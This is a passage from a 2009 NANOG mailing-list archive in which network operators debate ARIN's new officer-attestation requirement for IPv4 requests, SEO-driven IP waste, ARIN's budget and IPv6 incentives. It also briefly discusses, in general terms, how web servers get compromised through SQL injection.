Finally, I would be most interested if people think there are no commercial tools which are of much use. thanks in advance for your help. ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From dhubbard at dino.hostasaurus.com Tue Apr 21 15:58:09 2009 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Tue, 21 Apr 2009 16:58:09 -0400 Subject: Important New Requirement for IPv4 Requests Message-ID: From: Frank Bulk - iName.com [mailto:frnkblk at iname.com] > > It appears that ARIN wants to raise the IP addressing space > issue to the CxO level -- if it was interested in honesty, > ARIN would have required a notarized statement by the person > submitting the request. If ARIN really wants to get the > interest of CEOs, raise the price! > Raising the price won't help; there's already a huge amount of wasted address space by web hosts selling IP addresses to customers who need them solely for 'seo purposes' rather than allocating them in return for a reasonable technical justification. If ARIN raises the prices, it will hurt hosts who allocate their space in a responsible manner and those who don't will just charge more for the right to have one of these seo-friendly exclusive IP's that webmasters so righteously believe will make their sites #1 on google. We regularly lose business thanks to something that goes a little like this: "Can I get a block of 100 IP's for no particular reason?", no, "My old host let me, I just had to pay $100/month for it." One of Google's seo spam team members actually blogged on this topic after a nanog post I made about this a few years back, and I still send it to people asking for IP's for seo reasons and even then they don't believe me. If ARIN would enforce a technically justified use of IPv4 space that does not recognize "seo" as a valid reason, that would definitely help, otherwise web hosts will keep selling IP space to their customers at prices that let them keep buying more. And since the policy allows it currently, the CEO signing off on it will also be valid. David From fred at cisco.com Tue Apr 21 16:02:15 2009 From: fred at cisco.com (Fred Baker) Date: Tue, 21 Apr 2009 14:02:15 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090421173652.DFA302B2154@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <20090421173652.DFA302B2154@mx5.roble.com> Message-ID: <0CE5C568-7831-426D-AEB8-92419EF1B996@cisco.com> On Apr 21, 2009, at 10:36 AM, Roger Marquis wrote: >> B) Technical standards for NAT & NAPT are the IETF's job, not ARIN's. > > Too true, but no reason ARIN could not be taking a more active > role. This > is after all, in ARIN's best interest, not the IETF's. There is work happening in the behave wg of the IETF on such. We welcome operator input. http://www.ietf.org/html.charters/behave-charter.html From jgreco at ns.sol.net Tue Apr 21 12:15:56 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Tue, 21 Apr 2009 12:15:56 -0500 (CDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: <02069E94-ACC0-46EE-815A-51AF7DBBD6E6@virtualized.org> from "David Conrad" at Apr 21, 2009 08:36:17 AM Message-ID: <200904211715.n3LHFuM2024592@aurora.sol.net> > Oddly enough, someone proposed something very much along these lines > at a couple of RIR meetings (see "IPv4 Soft Landing"), and in fact > used the 'driving into a brick wall' analogy. Many of the folks who > commented on that policy proposal felt it was inappropriate for RIRs > to dictate business models (that is, if an ISP doesn't want to move to > IPv6, it wouldn't be 'right' for an RIR to force them to). The > proposer eventually gave up as the impedance mismatch between reality > and the RIR policy making process became too great to observe without > breaking into uncontrollable giggles. A more interesting experiment: We want uptake of IPv6, right? Allocating even fairly large swaths of IPv6 to those who didn't really need it would be less harmful than hoarding IPv4, right? How about actually providing an incentive to return IPv4 space? How about actually providing an incentive to provide IPv6 services along the way? For example, here, we're not currently doing production IPv6, because we're not likely to be able to justify the cost of acquiring space from ARIN. Our legacy IPv4 resources cost us nothing, both what we advertise and what we don't. If there was a way for us to trade in some swamp for IPv6, we might be tempted to do that, which would encourage IPv6 a little more. It would have to be on the same or similar terms as what we currently enjoy, otherwise, it makes more sense just to retain the IPv4. Further, there may be organizations that could be tempted into returning paid ARIN allocations, perhaps by offering them a guaranteed low rate (free, ideally) for IPv6 space in exchange for significant chunks of IPv4 returned. Now, really, would this be successful? Who knows. But I do know that it wouldn't be costly in any meaningful way. If the RIRs get any returned IPv4 space and hand out some free IPv6 space, "we" (the whole Internet) win on both fronts. Maybe the RIR isn't making oodles of money from registration services for that space, but then again, I've never been convinced that the pay-for-addresses model is a good idea in the greater picture. At some point, it would make sense to evaluate the question of how much IPv4 space is being sat on because of the costs of registering IPv6, etc. Of course, this is the opposite problem: we're now talking about dictating RIR business models. :-) ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jrhett at netconsonance.com Tue Apr 21 16:37:14 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 14:37:14 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090421173652.DFA302B2154@mx5.roble.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <20090421173652.DFA302B2154@mx5.roble.com> Message-ID: On Apr 21, 2009, at 10:36 AM, Roger Marquis wrote: > Thanks for the reply John, but PPML has not worked to-date. Too many > legacy interests willing and able to veto any such attempt at a > sustainable > netblock return policy. Not sure how us folks, of a similar mind as > it > were, would be able to change that equation. IMO this change has to > come > from the top down. Towards that goal can you give us any hint as to > how to > effect that? Let's translate that: There is no consensus in the community who defines goals and objectives for ARIN to do Something. Can you tell me how we can hijack the process and subjugate the community to our will? Roger -- although you'll find I'm no fan of Legacy holders and their "rights", I can't say that I follow your logic on having ARIN just "do something" against the will of the community. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From sronan at fattoc.com Tue Apr 21 16:42:58 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 14:42:58 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> Message-ID: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> I'm not sure if anyone agrees with me, but these responses seem like a big cop out to me. A) If ARIN is so concerned about the potential depletion of v4 resources, they should be taking a more proactive roll in proposing potential solutions and start conversation rather then saying that the users should come up with a proposal which they then get a big vote one. B) Again, while it might be the IETF's "job", shouldn't the group trusted with the management of the IP space at least have a public opinion about these solutions are designed. Ensuring that they are designed is such a way to guarantee maximum adoption of v6 and thus reducing the potential for depletion of v4 space. C) Are ARIN's books open for public inspection? If so, it might be interesting for the group to see where all our money is going, since it's obviously not going to outreach and solution planning. Perhaps it is being spent in a reasonable manner, and the fees are where they need to be to sustain the organizations reasonable operations, but perhaps not. Mr Curran, given the response you've seen from the group, and in particular the argument that most CEO's or Officers of firms will simply sign off on what they IT staff tells them (as they have little to no understanding of the situation), can you explain what exactly you are hoping to achieve by heaping on yet an additional requirement to the already over burdensome process of receiving an IPv4 allocation? Shane Ronan --Opinions contained herein are strictly my own-- On Apr 21, 2009, at 9:01 AM, John Curran wrote: > Roger - > > A few nits: > > A) ARIN's not ignoring unneeded legacy allocations, but can't take > action without the Internet community first making some policy > on what action should be taken... Please get together with > folks > of similar mind either via PPML or via Public Policy meeting at > the the Open Policy Bof, and then propose a policy accordingly. > > B) Technical standards for NAT & NAPT are the IETF's job, not > ARIN's. > > C) We've routinely lowered fees since inception, not raised them. > > Thanks, > /John > > John Curran > Acting CEO > ARIN > > From jrhett at netconsonance.com Tue Apr 21 16:46:27 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 14:46:27 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <200904202339.n3KNdleL042511@aurora.sol.net> <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> Message-ID: On Apr 21, 2009, at 3:49 AM, Frank Bulk - iName.com wrote: > There's a big difference between signing that the books are right (it > matters!) and filling out paperwork for ARIN. The first is one of his > primary duties as an officer of the company, the second won't even > make his > secretary's "to do" list. > > It appears that ARIN wants to raise the IP addressing space issue to > the CxO > level -- if it was interested in honesty, ARIN would have required a > notarized statement by the person submitting the request. No. Those are two entirely different problems. A notary signs only that the person in front of them has been checked to be who they say they are. That's authentication. A Notary cannot attest that what is on the document is valid. A CxO signing that the request is valid is Authorization to speak for the company. Different spectrum. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jrhett at netconsonance.com Tue Apr 21 16:51:11 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 14:51:11 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: On Apr 21, 2009, at 1:58 PM, David Hubbard wrote: > Raising the price won't help; there's already a huge amount > of wasted address space by web hosts selling IP addresses > to customers who need them solely for 'seo purposes' rather It's a common request we see. We refuse it, and point them to the Google documentation that shows that unique IPs don't help or hurt their SEO standings. > reasons and even then they don't believe me. If ARIN would > enforce a technically justified use of IPv4 space that does > not recognize "seo" as a valid reason, that would definitely > help I point to the wording where it says that we need to collect the technical justification for the additional IP addresses. Since virtual web hosting has no technical justification for IP space, I refuse it. > And since the policy allows it currently, the CEO signing off > on it will also be valid. Depends on how you read the policy. I prefer my reading to yours ;-) That said, if someone who likes writing these things will help me, I'll gladly create and advance a policy demanding a real, provable need for an IP beyond one per physical host. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From kloch at kl.net Tue Apr 21 16:54:57 2009 From: kloch at kl.net (Kevin Loch) Date: Tue, 21 Apr 2009 17:54:57 -0400 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <49EE40B1.2040408@kl.net> Shane Ronan wrote: > C) Are ARIN's books open for public inspection? If so, it might be > interesting for the group to see where all our money is going, since > it's obviously not going to outreach and solution planning. Perhaps it > is being spent in a reasonable manner, and the fees are where they need > to be to sustain the organizations reasonable operations, but perhaps not. A quick search of the website found this: https://www.arin.net/about_us/corp_docs/annual_rprt.html - Kevin From jrhett at netconsonance.com Tue Apr 21 16:55:23 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 14:55:23 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: On Apr 21, 2009, at 2:42 PM, Shane Ronan wrote: > Mr Curran, given the response you've seen from the group, and in > particular the argument that most CEO's or Officers of firms will > simply sign off on what they IT staff tells them (as they have > little to no understanding of the situation), You really should go ask a CEO if he'd sign off on something that he doesn't understand. Really. I can assure you that your impression is wrong, and most CEOs don't prefer to be standing in court defending their actions. > can you explain what exactly you are hoping to achieve by heaping on > yet an additional requirement to the already over burdensome process > of receiving an IPv4 allocation? Burdensome? Really? If you have your documentation together it takes about 15 minutes from beginning of the application form until receiving your new allocation. I spend longer on hold any time I deal with any other vendor. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From owenc at hubris.net Tue Apr 21 16:55:49 2009 From: owenc at hubris.net (Chris Owen) Date: Tue, 21 Apr 2009 16:55:49 -0500 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <567E1ACE-AD90-487C-8307-F6EF9644E2F6@hubris.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Apr 21, 2009, at 4:42 PM, Shane Ronan wrote: > C) Are ARIN's books open for public inspection? If so, it might be > interesting for the group to see where all our money is going, since > it's obviously not going to outreach and solution planning. Perhaps > it is being spent in a reasonable manner, and the fees are where > they need to be to sustain the organizations reasonable operations, > but perhaps not. It is a little out of date and not terribly detailed but they did post the 2008 budget at: https://www.arin.net/about_us/corp_docs/budget.html Budget is just over 13M. About 1/2 of that is salaries/benefits (maybe more if you add in 'legal fees'). A couple of interesting notes when looking at it: 12+M divided by the 3300 "members" is just shy of $4,000 per customer. Payroll is $5,707,134 for 47 full time employees. That is an average salary of $121,428 across all employees. Internet Research and Support is $164,500 Travel (which includes travel for board members, etc) is $1,315,349. There is more detail but older data at: https://www.arin.net/about_us/corp_docs/annual/2007_audited_financials.pdf Chris - ------------------------------------------------------------------------------ Chris Owen - Garden City (620) 275-1900 - Lottery (noun): President - Wichita (316) 858-3000 - A stupidity tax Hubris Communications Inc www.hubris.net - ------------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAknuQOUACgkQElUlCLUT2d3YDACgswR2sqikAunbbgVdRKrlQBeE a1cAoJPkHf25ZKua73NVEWg0wz+ZYQLY =6Ceo -----END PGP SIGNATURE----- From brandon.galbraith at gmail.com Tue Apr 21 16:59:36 2009 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Tue, 21 Apr 2009 16:59:36 -0500 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EE40B1.2040408@kl.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <49EE40B1.2040408@kl.net> Message-ID: <366100670904211459w1c1b8b27md47039f84d800545@mail.gmail.com> On Tue, Apr 21, 2009 at 4:54 PM, Kevin Loch wrote: > Shane Ronan wrote: > > C) Are ARIN's books open for public inspection? If so, it might be >> interesting for the group to see where all our money is going, since it's >> obviously not going to outreach and solution planning. Perhaps it is being >> spent in a reasonable manner, and the fees are where they need to be to >> sustain the organizations reasonable operations, but perhaps not. >> > > A quick search of the website found this: > > https://www.arin.net/about_us/corp_docs/annual_rprt.html > > - Kevin > > More specifically: https://www.arin.net/about_us/corp_docs/annual/2008/ -brandon -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From bicknell at ufp.org Tue Apr 21 17:02:13 2009 From: bicknell at ufp.org (Leo Bicknell) Date: Tue, 21 Apr 2009 18:02:13 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <200904202339.n3KNdleL042511@aurora.sol.net> References: <200904202339.n3KNdleL042511@aurora.sol.net> Message-ID: <20090421220213.GA70170@ussenterprise.ufp.org> I suspect at more than a few companies the "Net Admin" can get a 10 minute slot on the CTO's calendar....in 2042. In the wonderful game of pass it up the food chain it probably looks something like this: Net-Admin: This IPv6 stuff is important, we should already be deploying it full-tilt. Manager: Some IPv6 testing should be reflected in next years budget. Director: I hear IPv6 is the future, but customers just aren't demanding it. VP Network: Humm, maybe I should have read the Network World article on IPv6 rather than the one on Google World Dominance. CTO: *crickets* I think this is a tool to cause everyone in that chain to have to do a lot more communicating up and down, and I think that is a very good thing at many companies, particularly large companies. There is no silver bullet here. There is no one thing that can be done that can make it all better. This is a small, but important step that will be significant to some, but not all companies. To that end I'm glad ARIN has taken it, and hope it is one of many steps that get us to the destination. -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From owen at delong.com Tue Apr 21 17:22:25 2009 From: owen at delong.com (Owen DeLong) Date: Tue, 21 Apr 2009 15:22:25 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <567E1ACE-AD90-487C-8307-F6EF9644E2F6@hubris.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <567E1ACE-AD90-487C-8307-F6EF9644E2F6@hubris.net> Message-ID: <62A80D4B-1912-4892-A8DB-5402D33E10C6@delong.com> > > 12+M divided by the 3300 "members" is just shy of $4,000 per customer. > Small nit... Not all customers are members. Owen -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2105 bytes Desc: not available URL: From owen at delong.com Tue Apr 21 17:19:30 2009 From: owen at delong.com (Owen DeLong) Date: Tue, 21 Apr 2009 15:19:30 -0700 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> On Apr 21, 2009, at 2:42 PM, Shane Ronan wrote: > I'm not sure if anyone agrees with me, but these responses seem like > a big cop out to me. > > A) If ARIN is so concerned about the potential depletion of v4 > resources, they should be taking a more proactive roll in proposing > potential solutions and start conversation rather then saying that > the users should come up with a proposal which they then get a big > vote one. > Well... ARIN is structured with a bottom-up community driven policy process. That has served us well for many years, and, I think that changing it would be a mistake. However, in this case, that means that the following people are specifically excluded from proposing policy: The BoT (other than via the emergency process) ARIN Staff Policy proposals must come from the community. Either at large, or, from the ARIN AC which is an elected subgroup of the community tasked with developing good policy for ARIN. The AC itself depends largely on community input for what kind of policy the community wants us to develop, and, at the end of the day, community consensus is required in order for a proposal to become policy. > B) Again, while it might be the IETF's "job", shouldn't the group > trusted with the management of the IP space at least have a public > opinion about these solutions are designed. Ensuring that they are > designed is such a way to guarantee maximum adoption of v6 and thus > reducing the potential for depletion of v4 space. > The IETF specifically does not accept organizational input and requires instead that individuals participate. This is one of the great strengths, and, also one of the great weaknesses of the IETF. However, it means that even if ARIN could develop a public opinion (which would have to come from the ARIN community by some process which we don't really have as yet), this opinion wouldn't mean much in the IETF's eyes. > C) Are ARIN's books open for public inspection? If so, it might be > interesting for the group to see where all our money is going, since > it's obviously not going to outreach and solution planning. Perhaps > it is being spent in a reasonable manner, and the fees are where > they need to be to sustain the organizations reasonable operations, > but perhaps not. > I will leave this to the BoT to answer, but, I know that the treasurer presents a report at every members meeting which provides at least some high level details. I believe that as a non-profit corporation, a great deal of openness is required for accountability to ARIN members. > Mr Curran, given the response you've seen from the group, and in > particular the argument that most CEO's or Officers of firms will > simply sign off on what they IT staff tells them (as they have > little to no understanding of the situation), can you explain what > exactly you are hoping to achieve by heaping on yet an additional > requirement to the already over burdensome process of receiving an > IPv4 allocation? > I can't say what Mr. Curran expects, but, here's how I see it: 1. If an officer of the organization signs off, then, that means that both the organization and the officer personally can be held accountable for any fraud that is later uncovered. If the officer is an idiot, perhaps he'll just sign, but, most officers I have experience with don't do that. They usually engage in some level of verification before signing such a statement. 2. Organizations which are submitting fraudulent requests may be less willing to do that when someone has to make a signed attestation under penalty of perjury. Especially when that person has fiduciary liability to the organization as an officer. 3. There are lots of things people will do if they don't think there are potential consequences. A signed attestation by a corporate officer dramatically reduces the apparent lack of consequences to a fraudulent application. Sure, there will always be criminals and criminals may not be bothered by this signed attestation process. However, having it does give the ARIN legal team a better shot at them as well. I am not a lawyer and these are just my own opinions. Owen -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2105 bytes Desc: not available URL: From cmadams at hiwaay.net Tue Apr 21 17:40:30 2009 From: cmadams at hiwaay.net (Chris Adams) Date: Tue, 21 Apr 2009 17:40:30 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: <20090421224030.GA1301601@hiwaay.net> Once upon a time, Jo Rhett said: > Since > virtual web hosting has no technical justification for IP space, I > refuse it. SSL and FTP are techincal justifications for an IP per site. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From nanog at daork.net Tue Apr 21 18:06:18 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 22 Apr 2009 11:06:18 +1200 Subject: Malicious code just found on web server In-Reply-To: <49ECAF8D.6020909@rockynet.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> <49ECAF8D.6020909@rockynet.com> Message-ID: On 21/04/2009, at 5:23 AM, Mike Lewinski wrote: > Paul Ferguson wrote: > >> Most likely SQL injection. At any given time, there are hundreds of >> thousands of "legitimate" websites out there that are unwittingly >> harboring >> malicious code. > > Most of the MS-SQL injection attacks we see write malicious > javascript into the DB itself so all query results include it. > However, I'm not sure how easy it is to leverage to get system > access - we've seen a number of compromised customer machines and > there didn't appear to be any further compromise of them beyond the > obvious. In the OP's case it sounds like static HTML files were > altered. My bet is that an ftp or ssh account was brute forced. I have seen a couple of open source web apps (CMSs, etc.) that store names of php files in a database, and those files names are then opened with fopen. SQL injection could be used to write a URL in to the database, and then wait for that entry to be called, and viola, you can execute php code, or whatever. Obviously that is relevant to the first part of your reply - it would not work with static content. -- Nathan Ward From marquis at roble.com Tue Apr 21 18:21:44 2009 From: marquis at roble.com (Roger Marquis) Date: Tue, 21 Apr 2009 16:21:44 -0700 (PDT) Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <20090421173652.DFA302B2154@mx5.roble.com> Message-ID: <20090421232144.56BC42B2154@mx5.roble.com> Jo Rhett wrote: > Let's translate that: There is no consensus in the community who defines > goals and objectives for ARIN to do Something. And there is no consensus because the process and/or community has not been capable of the task. Design-by-committee is a problem we are all familiar with. The resolution is to either A) apply direction from outside the committee, B) wait until things get bad enough that they can achieve consensus (if that is an option), or C) wait for a higher authority to step in (as occurred recently when the DOC gave ICANN direction regarding TLDs). Given a choice I'd take plan A. Direction could come from ARIN directors by way of their advocacy, issuing RFCs, offering financial incentives, and a number of other things to speed the process (of reclaiming unused IPs and of incentivizing the IETF). Taking a hands-off position and waiting for consensus to develop, well, that will just lead to B or C. Do you disagree? Are there other options? > Can you tell me how we can hijack the process and subjugate the > community to our will? Would the process survive addresses exhaustion? Roger From ka at pacific.net Tue Apr 21 18:22:08 2009 From: ka at pacific.net (Ken A) Date: Tue, 21 Apr 2009 18:22:08 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421224030.GA1301601@hiwaay.net> References: <20090421224030.GA1301601@hiwaay.net> Message-ID: <49EE5520.1070304@pacific.net> Chris Adams wrote: > Once upon a time, Jo Rhett said: >> Since >> virtual web hosting has no technical justification for IP space, I >> refuse it. > > SSL and FTP are techincal justifications for an IP per site. Right. Also, monthly bandwidth monitoring/shaping/capping are more easily done using one ip per hosted domain, or ftp site, or whatever. Otherwise you are parsing logs or using 3rd party apache modules. It's a convenience which would not be looked at twice, if it were on ipv6. All the more reason to move to ipv6. :-) Ken -- Ken Anderson Pacific Internet - http://www.pacific.net From jrhett at netconsonance.com Tue Apr 21 18:38:15 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 16:38:15 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090421224030.GA1301601@hiwaay.net> References: <20090421224030.GA1301601@hiwaay.net> Message-ID: On Apr 21, 2009, at 3:40 PM, Chris Adams wrote: > Once upon a time, Jo Rhett said: >> Since >> virtual web hosting has no technical justification for IP space, I >> refuse it. > > SSL and FTP are techincal justifications for an IP per site. Absolutely. But SEO on pure virtual sites is not ;-) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jrhett at netconsonance.com Tue Apr 21 18:41:46 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 16:41:46 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <49EE5520.1070304@pacific.net> References: <20090421224030.GA1301601@hiwaay.net> <49EE5520.1070304@pacific.net> Message-ID: On Apr 21, 2009, at 4:22 PM, Ken A wrote: > Chris Adams wrote: >> Once upon a time, Jo Rhett said: >>> Since virtual web hosting has no technical justification for IP >>> space, I refuse it. >> SSL and FTP are techincal justifications for an IP per site. > > Right. Also, monthly bandwidth monitoring/shaping/capping are more > easily done using one ip per hosted domain, or ftp site, or > whatever. Otherwise you are parsing logs or using 3rd party apache > modules. *Shrug* I've been doing IP allocations for 14 years and that's never been mentioned to me. I suspect that anyone with enough traffic to need traffic shaping has dedicated hosts or virtual servers, which get a unique IP each. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jlewis at lewis.org Tue Apr 21 18:55:57 2009 From: jlewis at lewis.org (Jon Lewis) Date: Tue, 21 Apr 2009 19:55:57 -0400 (EDT) Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: On Tue, 21 Apr 2009, Jo Rhett wrote: > It's a common request we see. We refuse it, and point them to the Google > documentation that shows that unique IPs don't help or hurt their SEO > standings. Some "customers" have wised up and when providing IP justification, they don't mention SEO anymore. However, I've seen several requests in the past couple weeks from customers/prospective customers wanting /24's or larger subnets (or they're not buying/canceling service) where the justification provided was something ARIN would probably be ok with, but IMO was completely FoS. It's hard to tell sales "no" when the customer tells you exactly what they think you want to hear [for IP justification], but your gut tells you "this is BS". BTW, I admit I've paid little attention to the legacy vs ARIN members arguments, as I'm not a legacy space holder and my time is largely occupied by more pressing [to me] matters...but why do legacy holders get a free ride? If we look at what happened with domain registration (at least for com|net|org), back in the old days, you sent off an email to hostmaster at internic.net and you got your domain registered. There were no fees. Then Network Solutions took over and domain name registrations cost money. Existing domains were not grandfathered in and either you started paying a yearly fee for your domains or you lost them. Why didn't the same thing happen when Internic/IANA stopped directly handing out IPs and the RIRs took over that function? ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From jrhett at netconsonance.com Tue Apr 21 19:02:59 2009 From: jrhett at netconsonance.com (Jo Rhett) Date: Tue, 21 Apr 2009 17:02:59 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: <39B757ED-5E2D-4A3E-A3F6-2C3DA8551087@netconsonance.com> On Apr 21, 2009, at 4:55 PM, Jon Lewis wrote: > Some "customers" have wised up and when providing IP justification, > they don't mention SEO anymore. However, I've seen several requests > in the past couple weeks from customers/prospective customers > wanting /24's or larger subnets (or they're not buying/canceling > service) where the justification provided was something ARIN would > probably be ok with, but IMO was completely FoS. It's hard to tell > sales "no" when the customer tells you exactly what they think you > want to hear [for IP justification], but your gut tells you "this is > BS". Then you have an obligation to investigate. It's in the NRPM ;-) For our part, it becomes really easy. When someone submits a request for 200 physical hosts and their profile says they are paying for 40 amps of power... yeah, it's easy to know they are lying ;-) It is a problem because some ISPs don't care and just give away IPs, so customers get annoyed with us when I ask for proper justification. Oh well ;-) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From Crist.Clark at globalstar.com Tue Apr 21 19:12:04 2009 From: Crist.Clark at globalstar.com (Crist Clark) Date: Tue, 21 Apr 2009 17:12:04 -0700 Subject: MRTG in Fourier Space Message-ID: <49EDFE63.33E4.0097.0@globalstar.com> Maybe a slightly off topic math-geek kind of question to take time out from the ARIN/death-of-IPv4/IPv6-evangalist thread of the week. Has anyone found any value in examining network utilization numbers with Fourier analyses? After staring at pretty MRTG graphs for a bit too long today, I'm wondering if there are some interesting periodic characteristics in the data that could be easily teased out beyond, "Well, the diurnal fluctuations are obvious, but looks like we may have some hourly traffic spikes in there too. And maybe some of those are bigger every fourth hour." A quick Google search turned up nothing at all. With many EE-types who find their way into network operations and wannabe-EEs already there, I found that maybe a little surprising. I know the EEs love Fourier transforms. From mpalmer at hezmatt.org Tue Apr 21 19:20:37 2009 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 22 Apr 2009 10:20:37 +1000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: Message-ID: <20090422002037.GC4558@hezmatt.org> On Tue, Apr 21, 2009 at 02:51:11PM -0700, Jo Rhett wrote: > On Apr 21, 2009, at 1:58 PM, David Hubbard wrote: >> Raising the price won't help; there's already a huge amount >> of wasted address space by web hosts selling IP addresses >> to customers who need them solely for 'seo purposes' rather > > It's a common request we see. We refuse it, and point them to the > Google documentation that shows that unique IPs don't help or hurt their > SEO standings. Then they come back with a request for IPs for SSL certificates, which is a valid technical justification. BTDT. People will find a way to do the stupid thing they want to do. - Matt From mpalmer at hezmatt.org Tue Apr 21 19:23:22 2009 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 22 Apr 2009 10:23:22 +1000 Subject: Important New Requirement for IPv4 Requests In-Reply-To: References: <20090421224030.GA1301601@hiwaay.net> <49EE5520.1070304@pacific.net> Message-ID: <20090422002322.GD4558@hezmatt.org> On Tue, Apr 21, 2009 at 04:41:46PM -0700, Jo Rhett wrote: > > On Apr 21, 2009, at 4:22 PM, Ken A wrote: 